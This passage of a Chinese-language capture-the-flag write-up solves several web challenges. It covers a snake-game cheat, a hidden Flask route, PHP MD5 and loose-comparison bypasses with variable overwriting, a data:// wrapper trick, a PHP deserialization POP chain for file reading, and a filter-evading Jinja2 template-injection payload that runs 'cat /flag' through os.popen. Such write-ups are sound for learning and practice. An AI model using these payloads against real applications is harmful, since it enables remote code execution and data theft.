方法二:一直按空格,多按会,就出了
方法三:控制台输入
Snake.prototype.getScore = () => 100
方法四:调整speed
(麻烦一点)
通过源代码:
window.onload = function() {
new Snake('eatSnake',10,false);
}
var Snake = function(snakeId, speed, isAuto) {
this.width = arguments[3] || 35;
this.height = arguments[4] || 35;
this.snakeId = snakeId || 'snake';
this.Grid = [];
this.snakeGrid = [];
this.foodGrid = [];
this.derectkey = 39;
this.goX = 0;
this.goY = 0;
this.speed = this.oldSpeed = speed || 10;
this.stop = true,
this.snakeTimer = null;
this.isAuto = isAuto || false;
this.init();
this.timeCounter = 0;
this.startTime = 0;
};
可以发现这里有个控制speed的代码
this.speed = this.oldSpeed = speed || 10;
继续看看还有没有控制speed
的代码,通过查找,我们可以看到
clearInterval(this.snakeTimer);
this.speed++;
这里把speed++
删掉
然后在等六十秒就可以获得flag
非预期解:
先死一死()
f12查看源代码,可以看到hint:/src
,直接访问
会给我们下载一个python文件,点进去查看
可以看出这个通过flask框架写的一个网页,通过代码审计我们可以得知,只需要向/super-secret-route-nobody-will-guess
进行一个put方式的发包就行,利用postman发包
import flask
app = flask.Flask(__name__)
@app.route('/', methods=['GET'])
def index():
return flask.send_file('index.html')
@app.route('/src', methods=['GET'])
def source():
return flask.send_file('app.py')
@app.route('/super-secret-route-nobody-will-guess', methods=['PUT'])
def flag():
return open('flag').read()
拿到flag
代码审计
error_reporting(0);
header("Content-type:text/html;charset=utf-8");
if(isset($_POST['gdou'])&&isset($_POST['ctf'])){
$b=$_POST['ctf'];
$a=$_POST['gdou'];
if($_POST['gdou']!=$_POST['ctf'] && md5($a)===md5($b)){
if(isset($_COOKIE['cookie'])){
if ($_COOKIE['cookie']=='j0k3r'){
if(isset($_GET['aaa']) && isset($_GET['bbb'])){
$aaa=$_GET['aaa'];
$bbb=$_GET['bbb'];
if($aaa==114514 && $bbb==114514 && $aaa!=$bbb){
$give = 'cancanwordflag';
$get ='hacker!';
if(!isset($_GET['flag']) && !isset($_POST['flag'])){
die($give);
}
if($_POST['flag'] === 'flag' || $_GET['flag'] === 'flag'){
die($get);
}
foreach ($_POST as $key => $value) {
$$key = $value;
}
foreach ($_GET as $key => $value) {
$$key = $$value;
}
echo $f1ag;
}else{
echo "洗洗睡吧";
}
}else{
echo "行不行啊细狗";
}
}
}
else {
echo '菜菜';
}
}else{
echo "就这?";
}
}else{
echo "别来沾边";
}
?>
第一层是md5强比较直接数组绕过
,构造payload:
ctf[]=1&gdou[]=2
接下来第二层,是cookie的值,cookie= 'j0k3r'
这里可以利用Cookie Editor(一个浏览器插件),也可以用postman
然后保存,刷新网页,进入下一层
判断aaa,bbb是否存在,并且还让他们都等于114514,而且还不能相等
但是注意一下,这里是双等号(==)
所以,双等号是不要求类型相同的,所以我们可以构造payload
?aaa=114514&b=114514abc
进入最后一层:要进行变量覆盖
选择GET传参,构造payload:
?aaa=114514&b=114514abc&123=flag&flag=123
所以我们可以得到最后的exp为:
http://node1.anna.nssctf.cn:28026?aaa=114514&bbb=114514abc&123=flag&flag=123
POST DATA:
ctf[]=1&gdou[]=2&123=flag&flag=123
上来啥也没有,直接dirsearch开扫
扫到了test.txt
文档和www.rar
备份文件
访问/www.rar
,会下载文件,打开然后解压
都恭喜我了,那就去访问一下/orzorz.php
test.txt也看过了,里面和/orzorz.php中的内容一样,不过是文档形式,这里不赘述
代码审计:
<?php
error_reporting(0);
if(isset($_GET['cxk'])){
$cxk=$_GET['cxk'];
if(file_get_contents($cxk)=="ctrl"){
echo $flag;
}else{
echo "洗洗睡吧";
}
}else{
echo "nononoononoonono";
}
?> nononoononoonono
根据代码审计以及file_get_contents
读取文件内容函数我们可以知道我们需要传入一个文件,里面的内容是唱跳rap篮球
(?)那我们就要利用data://
伪协议
构造payload(这里不知道为什么直接传入ctrl不行,可能是过滤了,只能用base64加密传入):
http://node3.anna.nssctf.cn:28372/orzorz.php?cxk=data://text/plain;base64,Y3RybA==
拿到flag,结束
反序列化,看代码:
error_reporting(0);
highlight_file(__FILE__);
// flag.php
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}
class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
public function hahaha(){
if($this->name != 'one class' or $this->leader->name != 'ing' or $this->leader->rank !='department'){
return False;
}
else{
return True;
}
}
}
class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
public function IPO(){
if($this->headmaster == 'ong'){
echo "Pretty Good ! Ctfer!\n";
echo new $_POST['a']($_POST['b']);
}
}
public function __wakeup(){
if($this->department->hahaha()) {
$this->IPO();
}
}
}
if(isset($_GET['d'])){
unserialize(base64_decode($_GET['d']));
}
?>
首先构造pop链,通过echo new $_POST['a']($_POST['b']);
我们就可以确定尾巴是school中的IPO函数,那么触发函数的方式就是__wakeup()
魔术方法,然后可以看到__wakeup()中会指向classroom类的hahaha函数,hahaha所需要的变量条件在school类的___construct()
函数中
__wakeup():在反序列化的时候触发该魔术方法
__construct():构造对象的时候触发
所以我们可以得到popchain:
首:classroom::__construct() => classroom::hahaha => school::__wakeup() => school::IPO:尾
再看看各个变量要求的条件,我们可以得出payload,由于最后还会经过base64解密,所以我们构造的时候要进行base64加密:
class teacher{
public $name;
public $rank;
private $salary;
public function __construct($name,$rank,$salary = 10000){
$this->name = $name;
$this->rank = $rank;
$this->salary = $salary;
}
}
class classroom{
public $name;
public $leader;
public function __construct($name,$leader){
$this->name = $name;
$this->leader = $leader;
}
}
class school{
public $department;
public $headmaster;
public function __construct($department,$ceo){
$this->department = $department;
$this->headmaster = $ceo;
}
}
$a = new classroom('one class',new teacher('ing','department'));
$b = new school($a,'ong');
echo base64_encode(serialize($b));
?>
得到exp:
d=Tzo2OiJzY2hvb2wiOjI6e3M6MTA6ImRlcGFydG1lbnQiO086OToiY2xhc3Nyb29tIjoyOntzOjQ6Im5hbWUiO3M6OToib25lIGNsYXNzIjtzOjY6ImxlYWRlciI7Tzo3OiJ0ZWFjaGVyIjozOntzOjQ6Im5hbWUiO3M6MzoiaW5nIjtzOjQ6InJhbmsiO3M6MTA6ImRlcGFydG1lbnQiO3M6MTU6IgB0ZWFjaGVyAHNhbGFyeSI7aToxMDAwMDt9fXM6MTA6ImhlYWRtYXN0ZXIiO3M6Mzoib25nIjt9
OK,正确
通过echo new $_POST['a']($_POST['b']);
可以知道给我们创造了a和b两个参数,所以我们可以进行命令执行
但是这里没有回显,卡住了,查了查资料 用php的内置类SplFileObject来读取文件内容。
由于没有输出,想要读取到文件里的内容要用伪协议。
Post Data:
a=SplFileObject&b=php://filter/read=convert.base64-encode/resource=flag.php
传入之后得到flag再进行base64解密就行了
好狠的过滤!
把`’ [] " _ {{}} \ .都过滤了但是比较幸运的是可以用{%%},看了看他的config和self,发现都可以用
网上找到的通过self来构造payload,不过其中的空格都需要用%0c
代替
# 首先构造出所需的数字:
{% set zero = (self|int) %} # 0, 也可以使用lenght过滤器获取数字
{% set one = (zero**zero)|int %} # 1
{% set two = (zero-one-one)|abs %} # 2
{% set four = (two*two)|int %} # 4
{% set five = (two*two*two)-one-one-one %} # 5
{% set three = five-one-one %} # 3
{% set nine = (two*two*two*two-five-one-one) %} # 9
{% set seven = (zero-one-one-five)|abs %} # 7
# 构造出所需的各种字符与字符串:
{% set space = self|string|min %} # 空格
{% set point = self|float|string|min %} # .
{% set c = dict(c=aa)|reverse|first %} # 字符 c
{% set bfh = self|string|urlencode|first %} # 百分号 %
{% set bfhc = bfh~c %} # 这里构造了%c, 之后可以利用这个%c构造任意字符。~用于字符连接
{% set slas = bfhc%((four~seven)|int) %} # 使用%c构造斜杠 /
{% set yin = bfhc%((three~nine)|int) %} # 使用%c构造引号 '
{% set xhx = bfhc%((nine~five)|int) %} # 使用%c构造下划线 _
{% set right = bfhc%((four~one)|int) %} # 使用%c构造右括号 )
{% set left = bfhc%((four~zero)|int) %} # 使用%c构造左括号 (
{% set but = dict(buil=aa,tins=dd)|join %} # builtins
{% set imp = dict(imp=aa,ort=dd)|join %} # import
{% set pon = dict(po=aa,pen=dd)|join %} # popen
{% set so = dict(o=aa,s=dd)|join %} # os
{% set ca = dict(ca=aa,t=dd)|join %} # cat
{% set flg = dict(fl=aa,ag=dd)|join %} # flag
{% set ev = dict(ev=aa,al=dd)|join %} # eval
{% set red = dict(re=aa,ad=dd)|join %} # read
{% set bul = xhx~xhx~but~xhx~xhx %} # __builtins__
{% set ini = dict(ini=aa,t=bb)|join %} # init
{% set glo = dict(glo=aa,bals=bb)|join %} # globals
{% set itm = dict(ite=aa,ms=bb)|join %} # items
# 将上面构造的字符或字符串拼接起来构造出 __import__('os').popen('cat /flag').read():
{% set pld = xhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right %}
# 然后将上面构造的各种变量添加到SSTI万能payload里面就行了:
{% for f,v in (whoami|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))() %} # globals
{% if f == bul %}
{% for a,b in (v|attr(itm))() %} # builtins
{% if a == ev %} # eval
{{b(pld)}} # eval("__import__('os').popen('cat /flag').read()")
{% endif %}
{% endfor %}
{% endif %}
{% endfor %}
#这里的{{b(pld)}}换成{%print(b(pld))%}
整合最后的payload:
{%%0cset%0czero%0c=%0c(self|int)%0c%}{%%0cset%0cone%0c=%0c(zero**zero)|int%0c%}{%%0cset%0ctwo%0c=%0c(zero-one-one)|abs%0c%}{%%0cset%0cfour%0c=%0c(two*two)|int%0c%}{%%0cset%0cfive%0c=%0c(two*two*two)-one-one-one%0c%}{%%0cset%0cthree%0c=%0cfive-one-one%0c%}{%%0cset%0cnine%0c=%0c(two*two*two*two-five-one-one)%0c%}{%%0cset%0cseven%0c=%0c(zero-one-one-five)|abs%0c%}{%%0cset%0cspace%0c=%0cself|string|min%0c%}{%%0cset%0cpoint%0c=%0cself|float|string|min%0c%}{%%0cset%0cc%0c=%0cdict(c=aa)|reverse|first%0c%}{%%0cset%0cbfh%0c=%0cself|string|urlencode|first%0c%}{%%0cset%0cbfhc%0c=%0cbfh~c%0c%}{%%0cset%0cslas%0c=%0cbfhc%((four~seven)|int)%0c%}{%%0cset%0cyin%0c=%0cbfhc%((three~nine)|int)%0c%}{%%0cset%0cxhx%0c=%0cbfhc%((nine~five)|int)%0c%}{%%0cset%0cright%0c=%0cbfhc%((four~one)|int)%0c%}{%%0cset%0cleft%0c=%0cbfhc%((four~zero)|int)%0c%}{%%0cset%0cbut%0c=%0cdict(buil=aa,tins=dd)|join%0c%}{%%0cset%0cimp%0c=%0cdict(imp=aa,ort=dd)|join%0c%}{%%0cset%0cpon%0c=%0cdict(po=aa,pen=dd)|join%0c%}{%%0cset%0cso%0c=%0cdict(o=aa,s=dd)|join%0c%}{%%0cset%0cca%0c=%0cdict(ca=aa,t=dd)|join%0c%}{%%0cset%0cflg%0c=%0cdict(fl=aa,ag=dd)|join%0c%}{%%0cset%0cev%0c=%0cdict(ev=aa,al=dd)|join%0c%}{%%0cset%0cred%0c=%0cdict(re=aa,ad=dd)|join%0c%}{%%0cset%0cbul%0c=%0cxhx~xhx~but~xhx~xhx%0c%}{%%0cset%0cini%0c=%0cdict(ini=aa,t=bb)|join%0c%}{%%0cset%0cglo%0c=%0cdict(glo=aa,bals=bb)|join%0c%}{%%0cset%0citm%0c=%0cdict(ite=aa,ms=bb)|join%0c%}{%%0cset%0cpld%0c=%0cxhx~xhx~imp~xhx~xhx~left~yin~so~yin~right~point~pon~left~yin~ca~space~slas~flg~yin~right~point~red~left~right%0c%}{%%0cfor%0cf,v%0cin%0c(self|attr(xhx~xhx~ini~xhx~xhx)|attr(xhx~xhx~glo~xhx~xhx)|attr(itm))()%0c%}{%%0cif%0cf%0c==%0cbul%0c%}{%%0cfor%0ca,b%0cin%0c(v|attr(itm))()%0c%}{%%0cif%0ca%0c==%0cev%0c%}{%print(b(pld))%}{%%0cendif%0c%}{%%0cendfor%0c%}{%%0cendif%0c%}{%%0cendfor%0c%}
传入获得flag
方法二:
我是没懂,佬们nb就对了,附上payload
{% print ''|attr('%c%ccla'%(95,95)+'ss%c%c'%(95,95))|attr('%c%cba'%(95,95)+'se%c%c'%(95,95))|attr('%c%csubcla'%(95,95)+'sses%c%c'%(95,95))()|attr('%c%cgeti'%(95,95)+'tem%c%c'%(95,95))(395)('ca'+'t /flag',shell=True,stdout=-1)|attr('communicate')() %}
附上几篇佬们的wp:
B神:GDOUCTF-全方向-WriteUp
https://www.yuque.com/y0ung-tnhmt/iv01oq/oogach8rthc9h7m1#xqBVf
https://mochu.blog.csdn.net/article/details/130188571